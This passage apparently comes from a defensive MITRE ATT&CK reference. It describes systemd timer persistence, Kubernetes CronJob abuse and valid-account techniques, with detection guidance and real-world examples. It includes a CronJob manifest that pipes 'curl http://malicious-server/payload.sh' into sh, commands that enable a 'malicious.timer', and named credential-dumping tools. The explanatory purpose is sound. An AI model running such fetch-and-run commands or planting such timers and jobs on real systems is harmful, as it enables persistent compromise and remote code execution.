  systemctl --user enable malicious.timer
  systemctl --user start malicious.timer
  ```
* Checking timer status:

  ```bash
  systemctl --user list-timers
  ```

### Key attributes attackers exploit

* **Persistent execution:** Timers can ensure the malicious payload executes regularly, surviving reboots and system updates.
* **Stealth:** Timers can be named deceptively similar to legitimate systemd timers, complicating detection.
* **Logging:** Systemd timers provide integrated logging, which attackers may manipulate or clear to obscure their activities.

## When this Technique is Usually Used

Attackers typically utilize Systemd Timers at various stages of the cyber kill chain, primarily to establish persistence and maintain long-term access to compromised systems. Common scenarios and stages include:

* **Persistence:** Attackers frequently leverage systemd timers to maintain a foothold, ensuring their payload executes at regular intervals or at boot time.
* **Execution:** Timers provide attackers with scheduled execution capabilities, allowing periodic data exfiltration, command-and-control beaconing, or lateral movement within the compromised environment.
* **Privilege Escalation:** If attackers have access to privileged accounts, they may create or modify system-wide timer units to execute malicious commands with elevated privileges.
* **Defense Evasion:** Systemd timers can be named similarly to legitimate services, enabling attackers to blend in with normal system operations and evade detection.

## How this Technique is Usually Detected

Detection of malicious Systemd Timers involves monitoring, analyzing, and auditing specific system activities, files, and behaviors. Common detection methods include:

* **File Integrity Monitoring (FIM):** Detecting unauthorized creation or modification of `.timer` and `.service` files, especially in system-wide directories (`/etc/systemd/system/`) or unexpected user directories (`~/.config/systemd/user/`).
* **Systemd Logs and Auditing:** Reviewing systemd logs (`journalctl`) for suspicious timer execution, unexpected job failures, or unusual scheduling patterns.

  ```bash
  journalctl -u suspicious.service
  journalctl --user-unit suspicious.service
  ```
* **Real-time Monitoring Tools:** Deploying endpoint detection and response (EDR) solutions, Security Information and Event Management (SIEM) systems, or Linux auditing tools (auditd) to monitor and alert on suspicious timer creation and execution.
* **Command Execution Monitoring:** Auditing commands such as `systemctl enable`, `systemctl start`, or `systemctl list-timers` executed by unauthorized or unexpected users.
* **Behavioral Analysis:** Identifying abnormal timer schedules (e.g., timers triggering execution at unusual intervals or times) or unusual system load patterns.

### Indicators of Compromise (IoCs)

* Unexpected `.timer` and `.service` files in system or user directories.
* Suspicious timer names mimicking legitimate systemd timers.
* Unusual periodic network connections or data transfers correlating with timer execution intervals.
* Unexplained cron-like behavior without corresponding cron jobs.

## Why it is Important to Detect This Technique

Early detection of malicious Systemd Timers is critical due to their potential impacts on system security, stability, and confidentiality. Key reasons include:

* **Persistence and Long-term Access:** Undetected timers allow attackers prolonged access to compromised systems, facilitating further malicious activities such as lateral movement, data exfiltration, or privilege escalation.
* **Data Exfiltration and Espionage:** Timers can be employed to periodically exfiltrate sensitive data or intellectual property, potentially causing significant financial and reputational damage.
* **Resource Abuse:** Attackers can leverage scheduled tasks to abuse system resources (e.g., cryptomining, denial-of-service attacks), negatively impacting system performance and availability.
* **Stealth and Evasion:** Attackers may disguise timers as legitimate system tasks, complicating detection and forensic analysis. Early detection helps security teams mitigate these risks and prevent further compromise.

## Examples

Real-world examples of attackers utilizing Systemd Timers include:

* **Rocke Group Cryptomining Campaign:**
  * **Scenario:** The Rocke threat group deployed cryptomining malware on compromised Linux servers using systemd timers to maintain persistence and ensure continuous mining operations.
  * **Tools Used:**
    * Malicious `.timer` and `.service` unit files for scheduled execution.
    * Monero cryptocurrency mining binaries.
  * **Impact:** Resource exhaustion, increased energy costs, reduced system performance, and potential damage to hardware.
* **Skidmap Linux Malware:**
  * **Scenario:** Skidmap malware leveraged systemd timers to periodically execute malicious kernel modules and rootkits, maintaining stealthy persistence and evading traditional detection mechanisms.
  * **Tools Used:**
    * Malicious systemd timer units combined with rootkits and kernel-level backdoors.
  * **Impact:** Persistent root-level access, data theft, compromised system integrity, and significant detection difficulties.
* **TeamTNT Malware Campaign:**
  * **Scenario:** TeamTNT malware operators utilized systemd timers to periodically execute scripts that scanned cloud environments for exposed Docker APIs and Kubernetes clusters, enabling lateral movement and further compromise.
  * **Tools Used:**
    * Bash scripts scheduled via systemd timers.
    * Network scanning utilities.
  * **Impact:** Unauthorized access to cloud infrastructure, lateral movement, potential data breaches, and unauthorized cryptomining activities.


# Container Orchestration Job

Container Orchestration Job \[T1053.007]

## Information

* Name: Container Orchestration Job
* ID: T1053.007
* Tactics: [TA0002](/mitre/mitre/ta0002), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004)
* Technique: [T1053](/mitre/mitre/ta0003/t1053)

## Introduction

Container Orchestration Job (T1053.007) is a sub-technique within the Scheduled Task/Job (T1053) technique category of the MITRE ATT\&CK framework. This sub-technique specifically involves adversaries leveraging container orchestration platforms, such as Kubernetes, Docker Swarm, Amazon ECS, or Azure Container Instances, to schedule and execute malicious jobs or tasks. Attackers exploit legitimate job scheduling functionalities provided by these platforms to execute unauthorized commands, scripts, or binaries, thus achieving persistence, lateral movement, privilege escalation, or command and control (C2) communications.

## Deep Dive Into Technique

Adversaries utilize container orchestration systems' built-in scheduling capabilities to execute malicious tasks. Container orchestrators such as Kubernetes and Docker Swarm periodically execute scheduled tasks or jobs, defined through YAML or JSON configuration files, to automate routine operations. Attackers exploit this functionality by injecting or modifying these scheduled jobs to run malicious payloads.

Technical execution details often include:

* **Kubernetes CronJobs**:
  * Attackers create or modify CronJob resources to execute scripts or commands at scheduled intervals.
  * YAML manifests specify the container image, commands, and execution schedules (cron syntax).
  * Example Kubernetes manifest:

    ```yaml
    apiVersion: batch/v1
    kind: CronJob
    metadata:
      name: malicious-job
      namespace: default
    spec:
      schedule: "*/5 * * * *"
      jobTemplate:
        spec:
          template:
            spec:
              containers:
                - name: malicious-container
                  image: attacker-controlled-image
                  command:
                    [
                      "/bin/sh",
                      "-c",
                      "curl http://malicious-server/payload.sh | sh",
                    ]
              restartPolicy: OnFailure
    ```
* **Docker Swarm Scheduled Tasks**:
  * Docker Swarm does not natively support scheduling jobs; however, attackers might leverage external schedulers or cron containers to achieve similar functionality.
  * Attackers deploy malicious containers that periodically execute commands or scripts to maintain persistence or exfiltrate data.
* **Cloud Container Platforms (Amazon ECS, Azure Container Instances)**:
  * Attackers schedule tasks using cloud-native scheduling tools (e.g., AWS CloudWatch Events, Azure Logic Apps) to trigger malicious container executions.
  * Attackers manipulate task definitions or event triggers to execute containers containing malicious payloads.

Common mechanisms attackers use include:

* Creating new scheduled jobs to establish persistence or maintain a foothold.
* Modifying existing legitimate jobs to include malicious commands or payloads.
* Using orchestrator APIs or compromised credentials to deploy malicious scheduled tasks.
* Leveraging scripts or binaries within containers to perform reconnaissance, lateral movement, or data exfiltration.

## When this Technique is Usually Used

Adversaries typically employ Container Orchestration Jobs during various stages of the attack lifecycle, including:

* **Persistence**:
  * Scheduling malicious tasks that periodically re-establish access if initial footholds are removed.
  * Ensuring continued presence within compromised environments through regular execution of malicious payloads.
* **Execution**:
  * Utilizing scheduled tasks to execute payloads, scripts, or commands on containerized workloads.
  * Automating command execution within compromised systems at predetermined intervals.
* **Privilege Escalation and Lateral Movement**:
  * Exploiting orchestrator privileges or misconfigurations to schedule tasks in higher-privileged namespaces or clusters.
  * Moving laterally by scheduling tasks on other nodes or clusters within the orchestrated environment.
* **Command and Control (C2) Communications**:
  * Scheduling containers that periodically communicate with attacker-controlled infrastructure to receive commands or exfiltrate data.
* **Data Exfiltration**:
  * Automating data collection and exfiltration through scheduled container tasks.

## How this Technique is Usually Detected

Detection mechanisms for Container Orchestration Jobs typically include:

* **Monitoring and Logging**:
  * Enabling and centrally collecting logs from container orchestration platforms (e.g., Kubernetes API server audit logs, Docker daemon logs).
  * Monitoring scheduled job creation, modification, or deletion events closely.
* **Behavioral Analytics**:
  * Implementing anomaly detection solutions to identify unusual scheduled job creation or execution patterns.
  * Detecting unusual container images or commands used in scheduled tasks.
* **Security Tools and Platforms**:
  * Container security solutions (e.g., Aqua Security, Sysdig, Prisma Cloud) capable of detecting suspicious container images, runtime behaviors, and orchestrator API activities.
  * SIEM platforms (Splunk, ELK, QRadar) configured to alert on suspicious orchestration events or API calls.
* **Indicators of Compromise (IoCs)**:
  * Unexpected CronJob or Job resources appearing in Kubernetes clusters.
  * Scheduled tasks referencing unknown or untrusted container images.
  * Unusual outbound network connections originating from scheduled containers.
  * Logs indicating unauthorized API calls or modifications to orchestrator configurations.

## Why it is Important to Detect This Technique

Early detection of Container Orchestration Job misuse is critical due to the following impacts:

* **Persistent Access**:
  * Attackers can maintain long-term persistence within containerized environments, making remediation challenging without detection.
* **Data Exfiltration**:
  * Scheduled malicious tasks can regularly exfiltrate sensitive data, intellectual property, or customer information, leading to significant financial and reputational damage.
* **Resource Abuse and Cost Implications**:
  * Attackers may use scheduled containers for cryptocurrency mining or other resource-intensive tasks, causing increased infrastructure costs.
* **Privilege Escalation and Lateral Movement**:
  * Misuse of orchestration platforms can allow attackers to escalate privileges or move laterally across container clusters, significantly expanding the attack surface.
* **Operational Disruption**:
  * Malicious scheduled tasks can disrupt legitimate workloads, degrade performance, or cause service outages, impacting business continuity.

Detecting this technique early allows organizations to rapidly contain incidents, minimize damage, and prevent attackers from achieving their objectives.

## Examples

Real-world examples and scenarios involving Container Orchestration Jobs include:

* **TeamTNT Attacks**:
  * Attackers leveraging Kubernetes CronJobs to deploy cryptocurrency mining containers.
  * Scheduled tasks periodically pulling malicious container images from attacker-controlled registries to mine cryptocurrencies, leading to increased cloud infrastructure costs and degraded performance.
* **Hildegard Malware**:
  * Hildegard malware targeted Kubernetes clusters, creating CronJobs to execute malicious scripts.
  * Scheduled tasks downloaded and ran malicious payloads, enabling attackers to establish persistence, conduct lateral movement, and exfiltrate data.
* **Kinsing Malware Campaign**:
  * Attackers used compromised Kubernetes clusters to schedule malicious jobs for cryptocurrency mining.
  * CronJobs executed periodically, ensuring persistent access and continuous resource abuse.
* **Azure Container Instance (ACI) Exploitation**:
  * Adversaries compromised Azure Container Instances, scheduling malicious containers that executed scripts to exfiltrate sensitive data to external servers.
  * Attackers leveraged Azure Logic Apps or Azure Automation to trigger scheduled malicious containers.

In these scenarios, attackers leveraged scheduled container tasks to maintain persistence, execute malicious commands, escalate privileges, and exfiltrate data, demonstrating the critical importance of monitoring and detecting Container Orchestration Job abuses.


# Valid Accounts

Valid Accounts \[T1078]

## Information

* Name: Valid Accounts
* ID: T1078
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Sub-Technique: [T1078.001](/mitre/mitre/ta0003/t1078/t1078.001), [T1078.002](/mitre/mitre/ta0003/t1078/t1078.002), [T1078.004](/mitre/mitre/ta0003/t1078/t1078.004), [T1078.003](/mitre/mitre/ta0003/t1078/t1078.003)

## Introduction

The Valid Accounts technique (MITRE ATT\&CK ID: T1078) refers to adversaries leveraging legitimate user credentials to gain unauthorized access, maintain persistence, escalate privileges, or perform lateral movement within targeted environments. In the MITRE ATT\&CK framework, this technique falls under the tactic categories of Initial Access, Persistence, Privilege Escalation, and Defense Evasion. By utilizing valid credentials, attackers blend seamlessly into normal user activity, significantly complicating detection and response efforts.

## Deep Dive Into Technique

Attackers employing the Valid Accounts technique exploit legitimate authentication mechanisms by using stolen, compromised, or otherwise illicitly obtained credentials. This approach can circumvent traditional security defenses, as the activity appears as normal user behavior.

Technical execution methods and mechanisms include:

* **Credential Theft**:
  * Phishing attacks targeting user credentials.
  * Credential dumping from compromised systems (e.g., using Mimikatz or LSASS memory extraction).
  * Keylogging malware capturing credentials from user input.
  * Credential harvesting through social engineering.
* **Reuse of Stolen Credentials**:
  * Credential stuffing attacks using previously leaked credentials.
  * Password spraying attacks to identify weak or commonly used passwords.
* **Exploitation of Trusted Relationships**:
  * Leveraging credentials from third-party vendors or contractors to access target networks.
* **Account Manipulation**:
  * Modifying user account permissions to maintain persistence or elevate privileges.
  * Creating additional valid accounts to ensure continued access.

Real-world procedures attackers commonly employ include:

* Remote Desktop Protocol (RDP) or Secure Shell (SSH) logins with valid credentials.
* Web application logins using stolen credentials to access sensitive data.
* Leveraging VPN access with compromised credentials to infiltrate internal networks.
* Use of cloud service credentials to access cloud infrastructure and applications (e.g., AWS, Azure, Google Cloud).

## When this Technique is Usually Used

Attackers utilize the Valid Accounts technique across various attack scenarios and stages, including:

* **Initial Access**:
  * Gaining initial foothold through stolen user credentials obtained via phishing or credential reuse.
* **Persistence**:
  * Maintaining long-term access by periodically logging into compromised accounts.
  * Creating new accounts or modifying existing accounts to ensure continued access after initial compromise.
* **Privilege Escalation**:
  * Using valid administrative or privileged credentials to escalate privileges within the environment.
* **Defense Evasion**:
  * Avoiding detection by blending malicious activities with legitimate user account activities.
* **Lateral Movement**:
  * Using valid credentials to access additional systems across the network, expanding the scope of compromise.
* **Exfiltration**:
  * Leveraging valid accounts to access sensitive data repositories and facilitate data extraction.

## How this Technique is Usually Detected

Detection of the Valid Accounts technique typically involves monitoring and analyzing authentication logs, user behavior analytics, and activity patterns. Effective detection methods and tools include:

* **Behavioral Analysis**:
  * Identifying anomalous login times, locations, or patterns inconsistent with normal user behavior.
  * Detecting unusual volume or frequency of login attempts.
* **Monitoring Authentication Logs**:
  * Reviewing logs for suspicious login failures followed by successful logins.
  * Detecting logins from unusual IP addresses or geographic locations.
* **Endpoint Detection and Response (EDR)**:
  * Monitoring endpoint activities for signs of credential dumping tools (e.g., Mimikatz, ProcDump).
  * Detecting suspicious processes accessing credential stores.
* **Network Traffic Analysis**:
  * Identifying abnormal traffic patterns indicative of lateral movement using valid credentials.
  * Detecting unusual remote access protocols or VPN sessions.
* **Multi-Factor Authentication (MFA) Monitoring**:
  * Tracking failed MFA attempts or unusual MFA bypass scenarios.

Specific Indicators of Compromise (IoCs) include:

* Unusual login times or locations (e.g., logins from geographically distant locations within short periods).
* Repeated login failures followed by successful logins.
* Presence of credential dumping tools or scripts on endpoints.
* Sudden changes to account permissions or creation of new user accounts.
* Anomalous VPN or remote desktop connections outside typical user behavior.

## Why it is Important to Detect This Technique

Timely detection of the Valid Accounts technique is critical due to the significant potential impacts on organizational systems and networks, including:

* **Data Breach and Exfiltration**:
  * Attackers gaining access to sensitive information, intellectual property, or personal data.
  * Financial and reputational damage resulting from unauthorized disclosure.
* **Privilege Escalation**:
  * Attackers escalating privileges to administrative levels, enabling further compromise of critical systems and infrastructure.
* **Persistence and Lateral Movement**:
  * Attackers maintaining long-term, undetected access, allowing continuous reconnaissance and exploitation of network resources.
* **Operational Disruption**:
  * Potential sabotage or disruption of critical business operations through unauthorized access to key systems or infrastructure.
* **Compliance and Regulatory Implications**:
  * Failure to detect unauthorized access may lead to violations of regulatory standards (e.g., GDPR, HIPAA, PCI DSS), resulting in fines and legal consequences.

Early detection is essential to:

* Minimize damage and limit the scope of compromise.
* Quickly contain and remediate incidents.
* Reduce financial, operational, and reputational risks associated with prolonged unauthorized access.

## Examples

Real-world examples illustrating the Valid Accounts technique include:

1. **APT29 (Cozy Bear) Attacks**:
   * **Attack Scenario**: Leveraged stolen user credentials obtained through phishing and credential harvesting to infiltrate government and private sector organizations.
   * **Tools Used**: Spear-phishing emails, credential harvesting websites, legitimate VPN and remote desktop connections.
   * **Impacts**: Extensive espionage operations, theft of sensitive government and corporate information, prolonged undetected access within targeted networks.
2. **Colonial Pipeline Attack (DarkSide Ransomware)**:
   * **Attack Scenario**: Attackers gained initial access via compromised VPN credentials obtained from leaked credentials on dark web forums.
   * **Tools Used**: VPN access using valid credentials, ransomware deployment tools.
   * **Impacts**: Major operational disruption, temporary shutdown of fuel distribution, significant financial and reputational damage.
3. **Uber Data Breach (2016)**:
   * **Attack Scenario**: Attackers utilized compromised cloud infrastructure credentials obtained through credential stuffing attacks.
   * **Tools Used**: Credential stuffing scripts, cloud service (AWS) access using valid credentials.
   * **Impacts**: Exposure of personal data for millions of users and drivers, regulatory investigations, substantial financial penalties and reputational harm.
4. **SolarWinds Supply Chain Attack**:
   * **Attack Scenario**: Attackers leveraged stolen credentials to access internal development environments and inject malicious code into software updates.
   * **Tools Used**: Valid administrative credentials, access to software build environments, sophisticated malware implants.
   * **Impacts**: Compromise of multiple government agencies and private sector organizations, significant national security implications, widespread operational and reputational damage.


# Default Accounts

Default Accounts \[T1078.001]

## Information

* Name: Default Accounts
* ID: T1078.001
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Technique: [T1078](/mitre/mitre/ta0003/t1078)

## Introduction

The sub-technique **Default Accounts (T1078.001)**, as categorized under the MITRE ATT\&CK framework, describes adversaries leveraging built-in default accounts, credentials, or pre-configured user accounts to gain unauthorized access to systems and networks. These default accounts typically exist due to vendor configurations, installations, or initial system setups and often come with widely known or easily guessable credentials. Attackers exploit these accounts to bypass standard authentication mechanisms, enabling them to maintain persistence, escalate privileges, or move laterally within compromised environments.

## Deep Dive Into Technique

Attackers exploiting default accounts typically follow a structured approach:

* **Identification of Default Accounts**:
  * Attackers first identify the presence of default accounts through reconnaissance or scanning techniques.
  * Common default accounts include well-known usernames/passwords such as `admin/admin`, `root/root`, `guest/guest`, or manufacturer-specific credentials.
  * Default accounts may be documented publicly in vendor manuals, online databases, or security advisories.
* **Exploitation Methods**:
  * Attackers utilize automated credential stuffing tools or scripts to systematically attempt default credentials against targeted services such as SSH, Telnet, web administration interfaces, database systems, and network devices.
  * Manual login attempts may also occur, particularly when targeting high-value assets or systems known to use vendor-specific default credentials.
* **Mechanisms of Access**:
  * Once authenticated, attackers gain access to administrative interfaces or system shells, enabling them to execute arbitrary commands, install malware, or modify system configurations.
  * Default accounts commonly have elevated privileges, simplifying privilege escalation and lateral movement within networks.
* **Persistence and Privilege Escalation**:
  * Attackers often leverage default accounts as a persistent backdoor, ensuring continuous access even if other access methods are mitigated.
  * Elevated access through default accounts facilitates privilege escalation, enabling attackers to establish additional footholds or compromise further resources.

## When this Technique is Usually Used

Attackers commonly utilize default accounts across various stages and scenarios of cyberattacks, including:

* **Initial Access**:
  * Exploiting default credentials to gain initial footholds on publicly accessible systems or exposed administrative interfaces.
  * Targeting IoT devices, network appliances, routers, switches, and printers frequently configured with default credentials.
* **Persistence**:
  * Maintaining long-term unauthorized access by leveraging default accounts which may be overlooked in routine security audits or password rotation policies.
* **Privilege Escalation**:
  * Utilizing default accounts with administrative privileges to escalate from lower-level user access to administrative control on compromised systems.
* **Lateral Movement**:
  * Exploiting default credentials to move laterally across network infrastructure, gaining access to other interconnected systems or network segments.
* **Reconnaissance and Credential Harvesting**:
  * Leveraging default accounts to explore internal networks, identify critical assets, and harvest additional credentials or sensitive data.

## How this Technique is Usually Detected

Detection of exploitation involving default accounts typically involves multiple strategies and tools:

* **Monitoring Authentication Logs**:
  * Analyze authentication events for successful or failed login attempts involving known default usernames (e.g., `admin`, `root`, `guest`, `administrator`).
  * Detect unusual login activity, particularly from external or unknown IP addresses.
* **Behavioral Analysis and Anomaly Detection**:
  * Employ SIEM solutions and user behavior analytics (UBA) to detect anomalies such as login attempts at unusual times, from unusual locations, or to rarely accessed systems.
  * Identify repeated authentication failures or credential stuffing patterns indicative of automated attacks.
* **Network Intrusion Detection Systems (NIDS)**:
  * Deploy intrusion detection systems with rulesets specifically targeting default credential usage or brute-force login attempts.
  * Signature-based detection of known credential stuffing tools or scripts.
* **Vulnerability Scanners and Configuration Audits**:
  * Regularly perform vulnerability scans or configuration audits to identify systems still using default credentials.
  * Utilize automated tools (e.g., Nessus, OpenVAS) that detect default account vulnerabilities across network devices and applications.
* **Indicators of Compromise (IoCs)**:
  * Unusual or unauthorized administrative account activity.
  * Login attempts from unexpected geographic locations or IP addresses.
  * Repeated failed login attempts followed by successful authentication.
  * Presence of unauthorized configuration changes or new user accounts created shortly after default account usage.

## Why it is Important to Detect This Technique

Early detection of default account exploitation is crucial due to its significant potential impacts on systems and networks:

* **Unauthorized Access and Control**:
  * Attackers gaining administrative privileges through default accounts can exert full control over affected systems, leading to unauthorized data access, modification, or deletion.
* **Persistence and Difficulty of Remediation**:
  * Default accounts offer attackers persistent access that can be difficult to detect and remediate, especially if password rotation policies or account management practices are ineffective or neglected.
* **Lateral Movement and Escalation**:
  * Default accounts with elevated privileges facilitate lateral movement across network segments, enabling attackers to compromise additional systems and escalate attacks rapidly.
* **Data Breaches and Information Leakage**:
  * Exploitation of default accounts frequently leads to unauthorized data exfiltration, potentially resulting in sensitive information leakage, compliance violations, and reputational damage.
* **Service Disruption and System Compromise**:
  * Attackers may leverage default accounts to disrupt critical services, install malware, or conduct ransomware attacks, severely impacting organizational operations and continuity.
* **Regulatory and Compliance Risks**:
  * Failure to detect and remediate default account vulnerabilities can lead to regulatory non-compliance, resulting in financial penalties, legal consequences, and loss of customer trust.

## Examples

Real-world examples illustrate the prevalence and impact of default account exploitation:

* **Mirai Botnet (2016)**:
  * Attack Scenario:
    * Attackers utilized default usernames and passwords to compromise IoT devices such as routers, cameras, and DVRs.
    * After gaining access, devices were infected with Mirai malware, forming a massive botnet used for distributed denial-of-service (DDoS) attacks.
  * Tools Used:
    * Automated scanning scripts to identify and exploit default credentials (`admin`, `root`, `123456`, `password`).
  * Impact:
    * Massive DDoS attacks targeting critical internet infrastructure, including DNS provider Dyn, causing widespread service outages for major websites and services.
* **VPN and Network Appliance Exploitation (Pulse Secure, Fortinet, Cisco)**:
  * Attack Scenario:
    * Attackers targeted VPN and network appliance default credentials or known hardcoded accounts to gain unauthorized administrative access.
  * Tools Used:
    * Credential stuffing scripts, brute-force tools, and publicly available default credential lists.
  * Impact:
    * Unauthorized access to sensitive corporate networks, data breaches, and persistent attacker footholds within enterprise environments.
* **Default Database Credentials (MongoDB, Elasticsearch)**:
  * Attack Scenario:
    * Attackers scanned the internet to identify publicly exposed databases using default credentials or no authentication.
    * After gaining access, attackers exfiltrated data or held databases for ransom.
  * Tools Used:
    * Automated scanning and exploitation tools (e.g., Shodan searches, mass-scan scripts).
  * Impact:
    * Data breaches, ransom demands, and significant financial and reputational damage to affected organizations.
* **Industrial Control Systems (ICS) and SCADA Exploitation**:
  * Attack Scenario:
    * Attackers exploited default credentials in ICS and SCADA systems to gain unauthorized control over critical infrastructure.
  * Tools Used:
    * Credential enumeration and brute-force utilities, ICS-specific scanning tools.
  * Impact:
    * Potential disruption of critical infrastructure operations, posing risks to public safety and national security.

These examples highlight the critical need for organizations to proactively detect, mitigate, and manage default account vulnerabilities to prevent significant security incidents and operational disruptions.


# Domain Accounts

Domain Accounts \[T1078.002]

## Information

* Name: Domain Accounts
* ID: T1078.002
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Technique: [T1078](/mitre/mitre/ta0003/t1078)

## Introduction

Domain Accounts (T1078.002) is a sub-technique within the MITRE ATT\&CK framework under the broader technique of Valid Accounts (T1078). This sub-technique specifically refers to adversaries leveraging valid domain-level accounts—such as Active Directory (AD) accounts—to gain unauthorized access, persist within the network, escalate privileges, and move laterally across enterprise environments. Domain accounts typically provide attackers with extensive access to organizational resources, enabling them to operate covertly and efficiently within the targeted infrastructure.

## Deep Dive Into Technique

Attackers exploiting domain accounts typically leverage credentials obtained through various means, including credential dumping, phishing attacks, brute forcing, or purchasing leaked credentials on underground forums. Once domain-level credentials are acquired, adversaries can authenticate directly against domain controllers, file servers, workstations, or other domain-joined resources.

Technical execution methods and mechanisms include:

* **Credential Theft and Reuse:**
  * Using tools such as Mimikatz, CrackMapExec, or BloodHound to extract and analyze domain credentials.
  * Exploiting insecure credential storage or plaintext passwords found in scripts, files, or memory.
* **Pass-the-Hash (PtH) and Pass-the-Ticket (PtT):**
  * Utilizing hashes or Kerberos tickets to authenticate without knowing cleartext passwords.
  * Common tools used for PtH and PtT include Mimikatz, Impacket suite, and Rubeus.
* **Kerberoasting and AS-REP Roasting:**
  * Targeting service accounts within the domain to obtain Kerberos tickets that can be cracked offline.
  * Tools such as Rubeus, Impacket's GetUserSPNs.py, and Hashcat are often employed.
* **Golden and Silver Ticket Attacks:**
  * Forging Kerberos tickets granting persistent and stealthy access to domain resources.
  * Golden tickets leverage the domain's KRBTGT account, whereas silver tickets exploit service account credentials.
* **Domain Enumeration and Reconnaissance:**
  * Using tools like BloodHound, PowerView, and Active Directory reconnaissance scripts to map domain structure, identify privileged accounts, and plan lateral movement.

## When this Technique is Usually Used

Domain Accounts (T1078.002) can appear across multiple stages of the cyber attack lifecycle, including:

* **Initial Access and Persistence:**
  * Valid domain credentials are used to gain initial footholds or maintain persistent access to the network without raising suspicion.
  * Attackers often target domain accounts early to establish deeper persistence and evade detection.
* **Privilege Escalation and Credential Access:**
  * Compromising domain administrator accounts or privileged service accounts to escalate privileges within the domain.
  * Domain account access facilitates further credential theft and privilege escalation via lateral movement and reconnaissance.
* **Lateral Movement:**
  * Leveraging valid domain credentials to move laterally across domain-joined systems and resources seamlessly.
  * Domain credentials enable attackers to authenticate legitimately, minimizing the chances of detection.
* **Defense Evasion and Execution:**
  * Using legitimate domain accounts to bypass security controls, evade detection mechanisms, and execute malicious payloads or commands without triggering alerts.
* **Impact and Exfiltration:**
  * Domain-level credentials provide attackers with extensive access to sensitive data and systems, enabling data theft, ransomware deployment, or sabotage.

## How this Technique is Usually Detected

Detection of Domain Accounts (T1078.002) involves monitoring, analyzing, and correlating multiple event sources within the enterprise environment. Common detection methods and indicators of compromise (IoCs) include:

* **Monitoring Authentication Logs:**
  * Analyze Windows Security Event logs (Event IDs 4624, 4625, 4768, 4769, 4771) for irregular authentication patterns or failed login attempts.
  * Detect unusual login times, locations, or frequency of domain account usage.
* **Kerberos Ticket Activity:**
  * Monitor for unusual Kerberos ticket requests, particularly service ticket requests (TGS requests) indicative of Kerberoasting.
  * Detect anomalies in Kerberos ticket lifetimes or unusual ticket encryption types.
* **Domain Controller Activity:**
  * Monitor logs from domain controllers for suspicious activities, such as unusual LDAP queries, excessive enumeration, or unexpected account lockouts.
  * Analyze domain controller network traffic for abnormal connections or data transfers.
* **Endpoint Detection and Response (EDR) Solutions:**
  * Utilize EDR tools to detect credential dumping tools like Mimikatz, Rubeus, or Impacket.
  * Identify suspicious processes, memory injections, or PowerShell commands associated with credential theft.
* **Behavioral Analytics and SIEM Correlation:**
  * Implement security information and event management (SIEM) solutions with behavior-based rules to detect abnormal domain account usage patterns.
  * Correlate authentication events, privilege escalation attempts, and lateral movement activities to identify compromise.
* **Specific Indicators of Compromise (IoCs):**
  * Presence of credential theft tools (e.g., Mimikatz binaries, PowerShell scripts).
  * Unusual or unauthorized privileged account creation or modification within Active Directory.
  * Suspicious domain account login attempts from unfamiliar IP addresses or geographic locations.

## Why it is Important to Detect This Technique

Early detection of Domain Accounts (T1078.002) exploitation is critical due to the severe potential impacts on organizational security posture and operational integrity. Importance of detection includes:

* **Preventing Privilege Escalation and Lateral Movement:**
  * Early detection limits attackers' ability to escalate privileges and propagate through the network, containing the compromise and reducing damage.
* **Reducing Risk of Data Exfiltration and Breaches:**
  * Domain accounts provide broad access to sensitive data and systems; detecting misuse can prevent significant data loss, intellectual property theft, or sensitive information leakage.
* **Avoiding Operational Disruption and Financial Loss:**
  * Unauthorized domain-level access can lead to ransomware deployment, sabotage, or disruption of critical business operations, resulting in severe financial and reputational damage.
* **Maintaining Regulatory Compliance:**
  * Early detection and response assist organizations in meeting regulatory requirements and avoiding penalties or legal consequences associated with breaches or data compromise.
* **Improving Overall Security Posture:**
  * Detecting and responding to domain account misuse strengthens the organization's security maturity, enabling proactive defense strategies and continuous improvement of security policies and controls.

## Examples

Real-world examples illustrating Domain Accounts (T1078.002) exploitation include:

* **NotPetya Attack (2017):**
  * Attackers leveraged compromised domain-level credentials and tools such as Mimikatz to spread malware rapidly across enterprise networks.
  * Impact included massive operational disruption, financial losses, and widespread systems damage.
* **APT29 (Cozy Bear) Campaigns:**
  * Utilized stolen domain credentials and Kerberos ticket manipulation techniques (Pass-the-Ticket) for lateral movement and persistence within targeted networks.
  * Enabled espionage activities, data exfiltration, and long-term stealthy access.
* **Ryuk Ransomware Attacks:**
  * Attackers leveraged domain administrator credentials obtained via credential theft tools and phishing campaigns to propagate ransomware across enterprise environments.
  * Resulted in significant operational disruptions, financial losses, and reputational damage.
* **FIN6 Financial Sector Attacks:**
  * Used compromised domain accounts and credential theft techniques to access sensitive financial systems, exfiltrate credit card data, and conduct fraudulent transactions.
  * Caused substantial financial losses and regulatory impacts for affected organizations.
* **SolarWinds Supply Chain Attack (2020):**
  * Attackers compromised domain-level accounts within victim organizations to move laterally, conduct reconnaissance, and access sensitive data.
  * Resulted in extensive espionage activities, data breaches, and widespread organizational impact.

In these examples, attackers consistently leveraged domain accounts to achieve critical objectives, highlighting the importance of detecting, mitigating, and responding to this sub-technique promptly and effectively.


# Local Accounts

Local Accounts \[T1078.003]

## Information

* Name: Local Accounts
* ID: T1078.003
* Tactics: [TA0005](/mitre/mitre/ta0005), [TA0003](/mitre/mitre/ta0003), [TA0004](/mitre/mitre/ta0004), [TA0001](/mitre/mitre/ta0001)
* Technique: [T1078](/mitre/mitre/ta0003/t1078)

## Introduction

Local Accounts \[T1078.003] is a sub-technique within the MITRE ATT\&CK framework under the "Valid Accounts" technique (T1078). It involves adversaries obtaining and using credentials for local user accounts to gain initial access, maintain persistence, escalate privileges, or execute lateral movement within a target environment. Local accounts are those that are created and managed locally on a specific host, rather than centrally managed accounts such as domain accounts.

## Deep Dive Into Technique

Adversaries leverage local account credentials to authenticate directly to a targeted system. These local accounts may have varying levels of privileges, ranging from standard user accounts to highly privileged administrative accounts. Attackers commonly exploit local accounts through the following methods:

* **Credential Theft and Dumping:**
  * Extracting credentials from memory using tools like Mimikatz or LSASS dumps.
  * Harvesting credentials stored in configuration files, scripts, or registry keys.
  * Capturing credentials through keylogging or credential phishing.
* **Brute Force and Password Guessing:**
